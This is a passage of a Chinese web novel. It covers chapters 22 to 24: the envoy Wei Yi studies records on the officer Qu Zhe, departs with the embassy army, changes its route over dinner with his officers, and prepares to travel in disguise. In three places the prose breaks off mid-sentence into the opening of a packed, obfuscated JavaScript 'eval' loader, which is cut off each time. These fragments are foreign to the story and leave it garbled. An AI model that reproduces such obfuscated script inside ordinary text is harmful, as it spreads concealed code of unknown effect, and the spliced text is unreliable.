“不用,找到了。”小林满脸疲惫,夹着好几本册子爬下梯子,递给韦祎。“这记录前后对不上的地方太多,我把提到他的几本都找全了,不知道哪个说法是真的。要是我记账记成这样,会被师父骂死。” 二人在角落里的小茶桌上摆开,凑合着吃了一顿饭。 虽然是路边摊子买的,但这家的烤肉汁水充盈、口味鲜辣,老板娘烙烧饼很有一手,外酥内韧,有麦香味。 切开烧饼夹着烤肉,再填两筷子切得细细的大蒜黄瓜丝,一口咬下,面饼甘甜、蔬菜爽脆、烤肉更是火候恰好,入口即化,再美味不过。 在四萬的带领下,韦祎和小林都吃惯了这家摊子。 韦祎吃得快,小林还在细嚼慢咽,他放下了筷子,擦了手,拿起最上面的一本册子。 “少爷你知道为什么很多将军都腰围壮硕、大腹便便?”小林半抬头,声音幽幽传出。 “为什么?” “因为吃饭狼吞虎咽。一过三十便会胖肚子。”小林上下打量韦祎,眼神停留在他的腹部,轻轻叹一口气,“唉,可惜了!” 韦祎顺着他的眼神看下去,自己腹部平平、肌肉很结实,如果脱了衣服也算是线条分明,沐浴都忍不住在屋里照镜子呢,长出肚腩?变成老爹那身材?不敢想! “少爷我结实着呢。” 小林憋着笑在那看韦祎鼓起肌肉戳自己的肚子。 “是吗?我也戳戳看?” “不用!”韦祎防住了腹部。 “哎,少爷想着慢点吃,没嚼碎就吞下去对胃不好。” 韦祎终于发觉被整,没好气地嗯了一声。 综合着看看几本册子里乱糟糟的说辞。 最早的一条记录是曲喆此人少时逃荒到京城附近,十二岁的孩子在街头与两个成年男人打架,头破血流地抢小半块馊的炊饼,禁军大统领路过看了半响,发觉曲喆看着聪明伶俐透着一股凶狠,请他吃了顿饱饭,从此带在身边。 另一本册子又有不同的说辞:曲喆幼时逃荒到京城附近,把自己的仅剩的食物让给老妇人吃,被路过的禁军大统领看到了,十分感动,便将此人收在身边。 改了这段可以理解,街头打架的流氓地痞,终究上不得台面,爬得越高越会有人把这往事拿出来戳脊梁骨,影响仕途。 到了后来,有的记录说他武艺高强、忠心耿耿,有“敌十力士”之能。 也有的记录说曲喆此人幼时挨饿,营养不良,发育不足开蒙又晚,在武学上无法成器。为人戾气过重心胸不足,难在兵法正道上有大成就。 “此人实惨。”韦祎咕哝。 “怎么,要不要我跟少爷讲讲我小时候?”小林终于吃好了晚饭,麻利地收拾着桌子。 “别!我不想知道。”韦祎做闭目塞听状。 找齐了资料,撇开春秋笔法,时间节点其实很明确,二人又翻来其他人的资料对照着。禁军大统领此人一共有三个儿子,长子年纪最大,早年正妻所生,自幼读书习武,十七岁上战场,一直在边塞戍守。 膝下寂寞,禁军大统领就将曲喆捡了回来。没多久,禁军大统领的小妾们先后生了两个儿子。 四年前,北燕国的一个部落入冬时发起小规模的突袭战,禁军大统领的长子战死,马革裹尸。 这便是曲喆的人生大转折,次年春天的全军比武,不知怎么运作了一番,一直无甚名气的曲喆拿了个头名,几年下来都稳稳保持着前三甲的成绩。 众人都称禁军大统领是个有福之人,虽然长子战死,但义子十分争气,连皇帝都下旨表彰过大统领教子、教徒有方,乃国之柱石。 那为什么这次“舍得”放曲喆离开身边? 最近的一条记录里面有,这是太学的成绩册。 原来是禁军大统领的次子刚刚过了十二岁生日,太学里的师傅评道:此子年仅十二,身长已过七尺,膂力惊人,读书刻苦,授一知三,颇有其父风范,十年后我大齐又多一名将! 这话有拍马屁的成分吗?肯定是有一些的,但也只是把七说成九,而不是把一说成十。 亲儿子有了出息,义子也就可以做弃子了。 曲喆的年纪比韦祎还要小一点呢,看完他这“大起大落”的小半生,韦祎都下不去手整他。 “就算他没这么惨,您也不知道该怎么整他。”小林在一旁说风凉话。 韦祎很疑惑,若是罗晏从自己神情里面读出心声来不奇怪,但和小林又没那么熟悉,为啥他也有这个技能。 “这资料里不是写着呢?这人心胸不足、武艺不精,还是禁军一派的,又要跟着您去出使,您肯定是想整他,我说的对吗?”小林摊手。 韦祎迟疑着点点头,觉得小林很聪明:“我忽然对家里生意很放心,就算掌柜的他们都退休了也不会出乱子。” 小林得意,叉腰做仰天大笑状:“那当然了!” 笑过,小林指指那堆档案,“要我说,您大可不必担心,这种人呐,就算是文不成武不就,聪明着呢,谁对他有利,谁对他不好,心里门儿清。说不定,他不会捣乱。” “为何?”依照之前曲喆的表现,看起来实在不太聪明。想想,跟小林讲了也无妨,他这些日子又是跟着审案,又是来档案室,知道了不少秘密,说不定比韦祎还清楚事情的来龙去脉,说出来至少多个人参谋。 “这不是在京里呢?总得做做样子给他那个干爹看,他心里未必不知道自己那个前三甲是怎么来的,这一次戳破,不能上也非要上,既向他干爹表了忠心,又把疑点扔回他干爹身上去,多聪明。” “真是这样就好了。”韦祎撇嘴。 “这种生里死里长大的人,见过太多嘴脸,就只知道怎么让自己活着,别指望他能忠心谁。”小林说,“说不定这次,他想傍上我们这位前途无量的韦将军。您要是有心,顺势培养一群班底也不错。” 韦祎翻白眼,站起想来把档案塞回去,“他就算了,不都说了文不成武不就吗。” “我来,您这放的都不是原位。”小林接过来,放回了档案,二人各回各处去。 韦祎和禁军大统领不熟,但是禁军大统领和蒋氏那群人关系甚密,肯定不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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戴上那个使节冠要把头发在脑袋顶上扎得高高的,这就得把靠近后颈和耳朵的碎发扎成细辫子顺到顶上去,韦祎在房里鼓捣了老半天,试了种种梳头姿势都没搞成,刚洗了澡就急出满身大汗,抓了瞎。 最终是非常丢脸的去找爹爹给他扎头发,韦寅挺乐呵,感觉就像回到了韦祎小时候一样。 在韦祎小时候,韦寅和柳不寒大半时间都不在京城,与儿子相处的时间更显难得。 柳不寒是不会梳男孩子发式的,小韦祎找娘亲给他梳头,往往会被梳两条小女孩的麻花辫子。 于是韦寅就充当了救星,帮儿子梳好头发,再挑一条与当天衣服颜色搭配的头绳系好,偶尔坠一两颗玉珠子在头绳上面,小韦祎在院子里跑闹,玉珠子一颤一颤几乎能敲出音符来,看着就令人开心。 只可惜没几年,小韦祎就被送进了山里,回来时都十五岁的大小伙子了,别说是给他梳头,就是提起小时候给他梳头的事情,儿子都极力否认、绝不面对事实,所以再没有给他梳头的机会。 今天这机会啊,十载难逢! 韦祎在镜子里看见老爹乐呵呵嘴角上扬,满心以为韦寅在笑话他,等头发梳好,脸都涨成了西瓜色。 顶着一脸西瓜色,分批把自己的好几箱行李运出去。 “呦!中郎将今个儿红光满面啊。”钱氿等一众人都穿了戎装,等在街口。 韦祎一语不发地把行李扔给他,跨上马一骑绝尘奔向宫城。 兵分两路,韦祎与庞仁曲喆一同奔赴宫中,肖丰钱氿等人去城外与大部队汇合整理阵型。 到了宫中,皇帝与文武百官早摆好了阵势,韦祎上殿跪拜,接受皇帝的一番亲切叮嘱,后又站起来,在那恭听司礼官拉长音唱了好长一番赞颂陈词。 颂词过后,又跪拜,接受皇帝亲手授予的长剑、国书、节杖。 退出大殿,不能再停留,直接去往城外,皇帝派柳卞带文武百官在城楼上相送,给足了体面。 拔出御赐长剑,内力催动,一声中气十足的“全军出发”喊出来。 困得要死的韦祎带着大部队开拔。 22. 剑齿虎 队伍本应直接向西走。 大齐国为了方便调兵和通商,早已修筑了数条横跨东西南北的宽敞官道,但还是不够用,仍有不少新官道正在修筑。 前朝到了末代的时候,国家重宗教、轻商旅,各地官员都忙着寻访名山炼丹烧药当作贡品讨好皇室,有了些银钱都忙不迭修筑祭坛、寺庙、假造一些“天相”来哄骗百姓。 这种境况下,哪有人会提议修桥铺路? 再加之前朝行蓄奴制度,到了末代越发崩坏,不少穷苦工匠、农户都被富有人家抢夺为奴隶,官府即使是想要征徭役去修养路面,面临的是无人可征用的局面。 想用富人的奴隶,就要花钱向富人租用,哪有钱啊? 于是多条官道趋近废弃,中央与地方的联系逐渐减少,最终成了各地割据的态势。 群雄四起,战火不休。 齐国始皇帝统一国家,才开始真正雷厉风行地废奴隶、压宗教、兴农商、修道路、倡文化。难怪齐国的几代帝王都哭穷,这么一算,因为想办的事情多,用钱的地方多了去了。 使团现在走的这条路是近十年才修成的,保养有方,道路上既不扬尘,也不颠簸,平坦又热闹,而且很安全。 平坦自不必说。热闹在于这条道上每隔一段便能遇到押运货物的镖队、驼帮,还有成群结队的行脚小商,进京上学、赶考的学生,少则五六人一行,多则几十人一伙,此路离他们的目的地京城也近了,这些人都高兴得很,喧闹声不绝。 人多的地方自然相对安全,天子脚下,不用担心旁边的林子里跳出来强盗。 使团三千六百人,全员马军,又赶着大车,在这条路上吸引着众人的目光。 能听见,过路人看见了他们之后纷纷转换了话题,开始讨论起他们来了。 韦祎今天穿得气派,但是十分难受。 这套礼服铠甲有问题,早上的时候他就发现了,甲片编排设计令人讨厌,为了显得穿铠甲的人威武雄壮,特意把铜甲片扎成斜斜张开的样子。穿上甲,看似整个人都粗了一大圈,走起路来锵锵有声。 但是,斜斜张开的甲片,防御能力差就不说了,重要的是:骑马非常非常硌屁股。 道路平坦,即使赶着辎重大车走得也挺快。 又困又热,早上没来得及吃饭导致胃痛,同时又头痛屁股痛。此处路上人太多,要拿出十足的架子来,不好停下来做调整,于是就一路坚持到了晚上。 天色渐暗,刚一到达预定的扎营地,韦祎停住,几乎是滚下马来,好不容易站定了,也只能在那岔腿站着不动而已,大腿和屁股毫无知觉。 “中郎将,今天的行程可挺顺利,竟然提前到了扎营点,往后日日都如此顺利就好了!”庞仁负责督后军,在韦祎下马站定的一炷香之后,他也到了,跳下马来,“后军队尾已经全数到达,人、马全部安好,已经各自扎营去了。” 点点头,韦祎道声好,“多亏庞将军了。” “都是本分罢了。”庞将军一拱手,不多客套。从认识到今天,总共没有几日,他是个惯会与人打交道的,韦祎这人好懂得很,就差把“别跟我打官腔”这几个字写在脸上了。 其实,没人愿意打官腔。好不容易遇到一个不用客套不用拍马屁的主官,非要继续拍马屁?又不是脑袋被驴踢了。 “曲将军呢?”庞仁四处看看,没找到曲喆的身影。 曲喆在押中队,保护国礼大车,按说是比庞仁早到的。 “喔,他刚到了,说亲自检查马车去了。”韦祎答。曲喆没有像小林说的那样对韦祎热络,今天一天都一如既往地阴沉沉,话不多。 “中郎将,您在这岔着腿不累吗?能动了没有?大帐扎好了,您的行李都搁在里头了,赶紧把这套换了去。”钱氿刚才在帮着士兵扎营帐,走过来看看韦祎。 “哎呦喂,多谢。”韦祎感动地一抱拳,挪着腿钻进了营帐。 庞仁在一边看得目瞪口呆。 哪有上官跟下属抱拳行礼的,尤其是那位下属还在那洋洋自得,连惶恐的意思都没一点。 于是他便踱到钱氿旁边。 “哎,庞将军。”这次钱氿倒是先给庞仁问好。 “钱将军。”庞仁也没敢倨傲,赶忙回礼。 庞仁主要是想跟钱氿聊聊,莫不是这位钱将军是什么高官勋贵的子弟? 钱氿是个爱说的,他转转眼睛,笑嘻嘻跟庞仁聊起来。 聊的是今晚那一队火头军要用土豆炖菜,但是嫌麻烦不想刮土豆皮,这怎么行?刚才非要让他们去了土豆皮,然后论起这土豆去皮不去皮对口感、安全性的种种影响,比如这个不去皮一旦没洗干净,全军闹肚子可怎么办等问题。 “要我说啊,其实这土豆皮并非不能食用,我曾在一家专做油炸的小馆子里头吃过炸酥的土豆皮,撒上椒盐和辣椒十分美味,但是他们这做大锅饭的,就怕食材洗不干净,所以还得去皮!”钱氿说得高兴,“改天我试试酥炸土豆皮,若是试做成功一定请庞将军尝一尝!” 聊了老半天土豆子,庞仁带着满脑子土豆土豆皮的晕乎乎去了别处。 这会儿时间里面,韦祎废了老大力气把自己从那套蠢盔甲里头捞出来,先找出药酒搓一搓拯救臀部,然后看了一眼原本穿着的白衬裤,啧,上头多少沾着些磨破皮渗出来的血,红梅花点点。 怕伤口继续渗血染到别的衬裤上,挣扎半响,韦祎套上了刚脱下来的沾血衬裤。把那条红底蟒袍和腰带什么的叠一叠塞进箱子,再把礼服铠收好,换上平时穿的轻甲,外面罩上耐脏透气的常服袍子。 把这一套换下去,神清气爽,感觉头不痛了屁股也不痛了。 “没事吧您,我能进来吗?”钱氿在营帐门口伸进来一个脑袋。 “你这不已经进来了吗?”韦祎翻白眼。 钱氿从容地掀开营帐帘子走了进去。“好点没,我帮忙擦伤药?” “不用了,没大事,睡一觉就好了。”韦祎摆摆手,“你跟他唠那一堆土豆子做什么?” 他们聊天的时候就站在韦祎营帐不远处,韦祎一边给自己擦药酒一边满耳朵绕口令似的土豆土豆皮,竟然有点洗脑,到现在脑子里还盘旋着土豆。 “难道我要明明白白告诉他,我就是个草头小民出身,没一点背景关系?”钱氿摊摊手,“我这等小人物,有个狐假虎威的机会可不容易。”他没个正样子,满脸促狭。 “行,你自己看着办。”韦祎不管了,“你是不是瞧不上他那圆滑世故的?” “我可没有,难道我不圆滑世故?”钱氿说着没有,倒是斜着身子倚在桌角,撇撇嘴。“就他?圆滑怎么样,混得比咱们还差呢!哎,不聊这个了。” “怎么?”其实韦祎还挺喜欢钱氿来聊天。这几个人吧,郑予那小子过于热血,聊不到一起去,周冲聊起天来总一副压力过大的样子,肖丰不和别人多说话,池勤是个解决问题的好手,他出现在韦祎面前,基本都会带来些令人郁闷的悲惨故事。 只有钱氿,聊起来够轻松。 “走之前池大哥特意来找我说,这一趟,让我多照顾您,这不,就不给您添乱了。” “啊?他让你照顾我?”韦祎叉腰,池勤这个爱担心怎么担到自己身上了? “对嘛,您一整天看着心事重重的,说说看,有什么事?” “肖丰呢?” “寻营去了。” “行啊,不是想帮我吗?过些日子你们两个可得顶住。” 钱氿刚想细问,就听见外头有些喧闹声音。两人不约而同的长叹一口气,掀起营帐门走了出去。 前方不远处,拴马的地方。 一些禁军里的,还有几个庞仁带来的人,竟然把肖丰给围住了,禁军里的人自然是要给曲喆找场子。 “我们曲点检可是大统领亲自教导出的,怎可能被你个区区从六品的村野匹夫撂倒?你若真有本事,今天就和兄弟几个试一试!” 庞仁带来的那些人是围上来看热闹的。 毕竟,肖丰就长了一副年画里恶鬼的样子,特标准。 “你看这人的满身花绣,甚是骇人啊!”一人抱着臂膀缩着脖子,与旁人讨论。 “那眼睛,足有小儿拳头大,竟然能发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“喔,不过他也说了,尖牙小孩儿几十年不见一两个,又不能没有人习武护寨,所以就从好斗壮实的小孩儿里面选,等学成了再把牙齿磨尖。”钱氿露出一脸神秘兮兮地笑,“他也强调了好多遍,别人都是后天磨尖的,唯有他的尖牙是天生的。” 八卦已经开始,再去考虑那什么正人君子就太虚伪了。于是韦祎接着问,“那他怎么就出山来从军?” “这就更奇了,他只说过一次。”钱氿凑近,“您可别说出去啊,不然那疯子一准找我麻烦。” “当然当然。” “与他一同习武的几个小孩嫉妒他,师兄弟几个比试的时候故意收力被他打伤,他就被寨子撵了出来。后来游荡到州府一带,在街上打杀混日子,赶上征兵,参加了。去当兵绝对是他人生中最正确的决定,看看,刚参军就遇上我了嘛!” 嫉妒他什么? “嫉妒他尖牙是天生的。”钱氿摆摆手,“嗐,他还说在他们寨里,他是公认的美男子,全寨子的小姑娘争着给他缝衣裳纳草鞋。” “看不出来啊!”韦祎旁观肖丰此人,他似乎很享受别人惧怕他的样子。“你跟他那么熟,去过他家乡没有啊?” “没有。他说被赶出来绕了快一个月才出了深山,回寨的路是找不到了。” 当时的韦祎寻思着,那这人也挺惨的,有家不能回。 接下来钱氿说,肖丰在外头发现各色吃食、玩意儿比山里好多了,又有不少高手,幸好寨子里没亲人了,不用回去可真好! 把韦祎的同情心噎回去了。于是八卦的神经越发放肆,“那他为何又到京城来?” 看韦祎那表情,钱氿忽然抱起了手臂,挑眉,“不知道!” “你们关系这么好,你不知道?”韦祎挑眉。这俩人看着就不是一路的,偏偏十分要好,要说军中的传闻嘛,也不是没有。 “不知道不知道,嘿,我才不八卦我自己呢!”说完就从地上跳了起来,迅速溜走。 这会儿挤在看热闹的人群里,看看钱氿又看看被围住的肖丰,啧,名为八卦的神经又绷了起来。韦祎倒也不信这二人的关系真如传闻中所言,但是二十几岁还未婚配的青年男子,不八卦一下真是浪费。 池勤和新娘子的爱情故事被八卦了两个月了,如今都成了新编使团军的谈资,今天韦祎还听见有人讲呢。 23. 肉兔汤 肖丰站在人群中央,被这一群人围着,他没惊慌的意思。 那群人见肖丰没什么反应,壮着胆子推了他一把。 没推动肖丰。 他本是暗中攒着劲站定的,想试试推他的这人是否有一把子力气,没想到这力气小得令人失望。肖丰摇摇头,叹了口气,往韦祎和钱氿站着的角落看过去。 钱氿望天装作自己不存在。 “你若真想,那就来试试。”肖丰说。 韦祎突然想起来,这是在干嘛?纵容军中斗殴吗?不行不行,自己这个访西域正使可不能让这种事情发生在眼皮子底下。 “都散了!”韦祎站出来喝退人群。“你们,告诉庞将军、曲将军,今天在我大帐里用晚饭。” 两群人得令,缩着脖子散去。 “还有你们两个,一起过来。” 肖丰和钱氿对视一眼,抱拳得令。 庞仁先得了汇报,立刻放下手中的事情疾步来到大帐。 中军主官大帐也很简单,比士兵的通铺帐子更宽敞些,而且是浅色的。 大帐中间放了一张可以折叠起来的大桌,桌子的前端铺了份地图,韦祎正弯着腰看,肖丰则端坐在桌子的另一端旁侧。 营帐最里头,是个简单的铺位,地上叠两层干草袋子,上面铺个褥子。铺位旁边高高叠放着行李箱,挡了一小半,勉强起到屏风的作用。 肖丰先站起来,无声地对庞仁抱拳。 庞仁对肖丰也是很尊重的,这人看起来就与常人不同嘛!武艺又十分高超。 “庞将军先坐,不必拘束。”韦祎抬起头来,指一指桌旁的凳子。 随后曲喆也到了,门外站岗的示意他直接进去,给他掀开了帐门。 于是变成了庞仁、曲喆、肖丰三人排排坐,旁观韦祎撅着研究地图。 很快,钱氿进来了,站岗的士兵帮他掀开门帘,“饭来啦!” 他端着个大托盘,飘来些黏糊糊不明所以的食物气味儿,众人对那托盘所盛之物一点好奇心都没,看都不看他。 这不妨碍钱氿放饭。“来来来,诸位将军用饭。”他绕桌一圈,一人面前发下一个棕褐色的粗瓷钵子,一双筷子。 粗瓷钵子最上边放着个大个炊饼,显然是和面发酵不到位,坑坑洼洼的。 拿起这个炊饼,下面的钵子里盛着足有七分满的……土豆炖萝卜、南瓜、咸肉。 土豆占七成以上,萝卜一成、南瓜一成,咸肉半成。怎么说这几碗也是端来给将官们吃的,一块肉都没有可不像话,许是钱氿盯着火头军千挑万选,每人碗里都分得一块寸许见方的咸肉,已经是顶好的待遇了。 韦祎端着碗,持着筷子在桌旁忍痛坐下,“诸位请吧!”悄悄叹一口气,挑了块土豆填进嘴里嚼嚼。经过饭前钱氿的“劝说”,火头军削了土豆皮,但是萝卜皮和南瓜皮钱氿没盯着了,都没削。 还可以,吃不死人。又咬了口炊饼,也还成,蒸熟了。 看看韦祎的表情,众人皆悄悄叹气,举起了沉重的筷子。 不可能只有今天的饭菜不好吃,这意味着此行摊上了一伙儿做饭难吃的火头军,此后漫漫长路,一日早晚两餐开火,中午吃干粮,伙食都这个模样,思之心头沉痛。 庞仁用筷子夹起咸肉咬了口,紧闭着眼睛使劲吞下去。这肉放久了,又硬又柴,为了能久存,咸得要人命!相对比较起来,那堆土豆萝卜虽然炖得软烂,却没什么味道。 “嘿,我差点忘了!”钱氿站起来,托盘上还放着一个手腕粗的竹筒,打开竹筒盖子,众人依次在面前的钵子里撒上一层红艳艳的辣椒面。 “诸位,明日起我们改道。看这地图,明日出发后沿着原路行进到午时前后,会走到京源官道和苏常官道的交汇点上,我们就从这拐,顺着苏常官道向南行,一直走到苏常官道和东银官道的交汇点上,约莫有个六七日的路程。” 庞仁嘴里的土豆糊糊差点没从鼻子里喷出来。 曲喆放下筷子,将口中的饭菜迅速吞下去,直起腰来满脸严肃地看着韦祎。 肖丰恍若未闻,继续皱着眉吃饭。 钱氿用筷子搅着面前的土豆,就是不往嘴里送。 趁着大家还没什么大反应,韦祎接着说:“到了苏常和东银官道的交汇点时,我会离队,大军则向西缓行不停,到时候得多辛苦二位将军。” “我们目前行进的京源官道是自东向西最快最好的路径,直达源州边境线。”曲喆发问,这一趟他准备充足,虽然没有责成他做路途规划,但早就研究过了地图。“苏常官道修建已久,难免颠簸,东银道虽也贯通东西,但中途过山、跨河,路况并不如京源官道。不知中郎将改道有何深意?” 庞仁当然也想问来着,但是既然曲喆先问了,他就不用当这个出头鸟。 当然,曲喆对此更加不满则是因为他负责守护国礼,都是些坑人的大型瓷器,路途颠簸起来国礼就危险了,不知要多费多少心力去维护。 “改道其实是为了方便我,我中途离开所去之处离苏州近些,若大军继续走京源官道,我就赶不上队伍了。” 曲喆皱起眉来。 “那中郎将离队所为何事,可否告知末将等知晓?”庞仁装作无意间一偏头,看到曲喆的脸色十分不好,阴着脸不知道是在责怪谁一样,他赶忙接过话头,询问道。 “这是圣上令下,与此次出使西域是一揽子生意,内中细节现在不便告知诸位。” “原来如此,原来如此。”庞仁陪笑。 “我离队后,要十分劳累庞将军和曲将军,子隽在此先赔个不是!”韦祎放下筷子,抱拳行礼,庞仁赶忙站起来回礼,“中郎将这是做什么,圣上令下,我等本就该一同出力!” 曲喆也站了起来,拱手抱拳,脸色却也没好些。 “今天的事,军中唯有在座几人知晓,务必保密。”韦祎见不得别人脸色不好,这就要逐客了。 反正也没人想吃那碗土豆南瓜萝卜糊糊,在座这个级别的将官只要条件允许,都是自己开小灶,今晚却被韦祎强行找来吃这大锅饭,能走还不赶忙走?两人迅速离开,此时出去还能赶在睡觉前烤点香喷喷的土豆、红薯什么的,就着自己备好的肉干吃一吃。 “吁!我觉得曲喆快要打我了!”韦祎塌下肩,伏在桌上,把那钵子土豆推得远远的。 他瞅见肖丰在摩拳擦掌,又弹了起来。 “是有得烦啊,不过今天也得吃饱,尤其是您,出门第一天就受伤,吃点好的去去晦气!我在后头用小碳炉炖了兔肉汤,蒸了香米饭,这会儿时间刚好,我去端来!” “妙哉妙哉。”韦祎吞吞口水,刚才那碗土豆子实在不成,根本没吃下去几口。“哎?你哪里来的兔子?” “咱们后面不是有装行李蔬菜的大车,临行前我调了二十只,分作五笼,都装在车里养着呢,随吃随取,新鲜的。”钱氿说起饭菜来又得瑟开了,“等吃完到了补给点,再存一些来。这兔肉汤没鸡汤油腻,加些胡椒就很鲜美了,兔肉蘸着酸辣的酱料,配米饭最合适!做法是我在西南时学来的,他们那边也就这酱料还能吃一吃。”说到这,他不忘了白一眼西南边陲人士——肖丰。 “你不反驳他?”韦祎奇怪。 肖丰思考挣扎片刻,艰难道:“他说得对。” 钱氿得意洋洋地去后头端汤了。 跑了两趟,先端进来一口大汤锅,汤锅上是蒸笼,里面是香米饭。旋即又小跑出去,用托盘端来三个干净的中碗,汤匙、竹筷,还有一套小号的石臼石杵。 石臼里装着切块的带皮酸橘子、茱萸、生姜、朝天椒、还有些韦祎不认识的香料。钱氿把石臼往肖丰面前一推,他便自觉地拿石杵捣起酱料来,钱氿自己则分别给三人盛饭、盛汤,韦祎只要举着筷子等吃饭就成。 谁出门行军,会想着带石臼这种又沉重又不常用的炊具? “又不用我扛着这玩意,横竖是有行李大车拉,不带白不带。” 出行前时间那么紧张,还能顾得上带一堆琐碎玩意儿,我自己连行李都不知道带没带齐呢,钱氿这也算是一种本事,韦祎想。 喝一口汤,汤里没有腻人的油花,鲜美醇厚,加了些胡椒,喝到胃中暖洋洋的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嗐,都一样,都一样。”韦祎认真地吃着饭,装作听不见。头疼的事情已经从自己这跑到钱氿那里了,浑身畅快。 钱氿并不会真的为此着急,他问:“只让我管着郑予?您要带走周冲?” “对,我一个人搞不定,你们两个得留在这替我坐镇,郑予是个大嘴巴,带上他就甭想保密,其他人更是不靠谱,只剩周冲可以带。” “那您得好好跟他谈谈,做好心理建设,防着他紧张过头又是发烧又是上吐下泻的,池勤大哥都要为他愁死了。”钱氿扁嘴。 “发生了什么?” “没什么大事,有大事池勤会不告诉您?咱们那城防军能有什么大事?那小子一身好武艺,临时抓抓贼什么的也不掉链子,但只要把什么事情托付给他,他就紧张过度。就比如派他做代表去参加比武,明明对手就是个凑数的,他上场前紧张得吐了几回,打斗时一手冷汗搞得武器脱手,自责好几个月。从此之后我们就不让他再受这个罪了。” “还有这事?”大小比武常常有,每年最盛大的是禁军主办的那个全军比武大会,遇上个什么节庆日子,城防军的几个营也会搞联谊比武当消遣。“我说为什么不见他去比武,都是郑予去,明明郑予打不过他。” “对了,就是这么回事儿,我们该试的方法都试了,池勤是能劝的话都说过了,肖丰给他搞特训,还把郑予拉来挨他的打,都没用,寻思着您也不会有别的办法,没必要报您。” 被人说了没办法,韦祎仔细一想,“你说得对,换了我也没办法。” “所以说,您有大事交给他,您也做好准备吧。” “背后言人长短!你有这时间不如发愁你自己的事。”肖丰终于有机会挤兑钱氿了。 “我有什么可愁的?不就是护好国礼,跟庞仁和曲喆搞好关系吗?难得住我?你觉得难得住我?”钱氿冲着肖丰拍拍桌子。“倒是你,让你去试试人家的身手,若是真有什么高手跳出来揍你一顿,丢了中郎将的面子,才是对此行不利,发愁你自己吧!”钱氿反唇相讥。然后立刻问韦祎:“中郎将,我说的对吧?” 不等韦祎答,肖丰立刻反击钱氿,“我发愁,怎么可能?是高手好,那就更能赢了。”说完这话,肖丰似乎是脑补出了和高手过招的场景,忽然兴奋起来,气息外放,看韦祎时眼睛都闪闪发光,好似要出一拳打到韦祎脸上一般。 韦祎悄悄往后撤了撤凳子,感觉自己像是两房姨太太吵嘴时坐在中间的老太爷。嗯,他此时也确实正坐在钱氿和肖丰中间。 24. 微服记 “这个,我觉得,你们都不愁,事情就好办了,我就更不愁了……”韦祎决定转移话题,“这兔肉你做的不错,我小时候也常吃些兔子,远不如这一锅鲜美。” “嘿,您那兔子是何处得来?” “自然是山里打的野兔。” “吃野草、惶惶奔走不休的野兔怎么比得上这用粮食、草料精心饲弄出来的肉兔?”说完这句,钱氿立刻察觉出韦祎在转移话题,“不成,我这怎么能叫背后言人长短?我说的是事实!” “事实也是背后言人长短。”肖丰接话,“你敢当面跟周冲说?” “不敢。”钱氿回答的半点犹豫都没有,不敢就是不敢。“我要是当面提这件事,他一定又要去羞愧好几天,池大哥没来,谁能劝好他?” 二人的眼神不约而同地转向韦祎,旋即一齐叹气摇了摇头。 “你们有的时候真是讨厌,说不定我就可以呢?” 韦祎决定硬着头皮上了,这一趟自己也不乐意走,但还是这么按部就班出发了,时间到了就由不得人,“等快到了东银官道的时候再叫他跟我走,省得他提前紧张。” 出使大军在曲喆不情不愿的情况下拐上了苏常官道。 顺着苏常官道走了五天多的时间,已经能看到道路交汇的拐点了,明日大军就能拐到东银官道上面去,从南行变回西行。 一切进展平顺,韦祎嘱咐好庞仁从明天起带队缓行,每天只走原脚程的一半即可。 叫来周冲,分别去脱下铠甲,换上寻常衣裳。 韦祎衣着与平时一般,头戴黑色软脚幞头,身着深宝蓝色的方文绫圆领长袍,饰飞鸟纹路,腰上还是那条小羊皮宽腰带,挂着蟹青色绣月白团花的香囊和檀木色的荷包。手腕上绑了束袖子的护臂和骑马用的皮护手,足蹬皂色马靴。 行李并不多,只包了换洗衣裳和圣上托付的密旨。 翻来覆去考虑了一番,决定不带御赐长剑,太过招摇显眼。 一柄十三寸短剑横在腰后,一把轻型弩机并二十支小箭一同装进盒子放在鞍袋中,另外还准备了十几只甩手刺,精钢材质,每只两寸长,插在专门的布袋里,绑在腿上。 韦祎寻思,又不是去龙潭虎穴,用得着带这么一身吗? 穿好了出门他看见周冲,这人拎着自己的九尺长枪就准备上马了。 “慢着,长枪放下。”韦祎制止他,拎着这大家伙,不拿出官凭来都进不去城门。 “可是,这个……”周冲犹豫着,“出门在外,有备无患嘛。” “这样吧,你带着这个,会用吗?可以缠进腰带里。”韦祎回到自己的营帐,在行李中找出一柄软剑。 周冲拿来耍了两下,只觉得软绵绵使不出力气来,没等刺中敌人呢,剑身就抖了。“重剑末将倒是会些,这软剑实在不成,我还是带长枪吧。” 韦祎一言不发地继续在行李箱里翻找。“有了,这个送你,保准合适。” 这是两柄短棍,每柄长两尺,沉甸甸的。“这两柄能拧成一根,中间还可以再伸长两尺,你得闲时把玩熟练了,打人可以出其不意。” “这个好,家伙还得沉些,打人才疼嘛!”周冲接过来,掂着这重量就觉得喜欢。“只可惜不是利器!” “有的用就不错了,要不你把软剑也带上?”把伸缩棍配套的皮卡扣也找给周冲,两柄短棍可以分别挂大腿外侧,有长袍下摆挡着,取用方便不显眼,不耽误走路和骑马。 “软剑可不敢,我看那东西还挺锋利,我用着不仅割不到别人,缠在腰上,只等我弯腰时割我自己呢。” 钱氿在旁边陪着,吃吃发笑,挤眉弄眼。韦祎走过去问他是什么意思。“带这么一箱子好家伙,我看,是您没出发之前就紧张过度了。” 十三寸碧血短剑、特质弩机、甩手刺、蝉翼腰带剑、伸缩棍……这箱东西是罗晏很久之前送的,他挤兑过好几次罗晏送的东西没用处,这次却派上了大用场。韦祎默默打算,绝对不能把这事儿告诉罗晏知道,否则要被念叨好久。 “嘿嘿,腰带剑,我看着是好东西呢。”钱氿露出一副笑脸来,“那个,你们要是用着不顺手?” “拿去。”韦祎把那柄饱受周冲嫌弃的软剑拍到钱氿手里。“你不是弓兵吗,要软剑做什么?” 